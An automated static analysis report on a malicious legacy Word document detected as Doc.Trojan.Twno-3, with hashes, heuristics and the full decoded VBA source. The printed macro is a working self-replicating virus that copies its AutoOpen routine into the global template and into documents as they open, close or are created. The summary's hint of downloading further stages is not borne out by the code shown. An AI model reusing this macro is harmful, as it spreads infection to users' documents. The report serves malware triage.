Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6869f495391dc6e8…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-04-27 02:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: db64ea46b4fb7947952b94c76af583a7 SHA-1: 7e61a4b3eca352b89e2512b426f98a921c5e60c8 SHA-256: 6869f495391dc6e8462ee93eb072c9fd81ec02c65044ca3b4add27d3ade4712a
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings indicating the presence of VBA macros, specifically an AutoOpen macro designed to execute automatically. The macro code itself appears to copy itself to other auto-executing macro names (AutoNew, AutoClose) and saves the document in a macro-enabled format, suggesting an attempt to ensure execution and persistence. This behavior is characteristic of macro-based malware designed to download and execute further stages.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1238 bytes
SHA-256: f08175cce8d1d683c3dacd5439c3abffddf7522934a67693318b2ac85a3c6611
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim tog$
Dim i
Dim ans$
Dim j
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub

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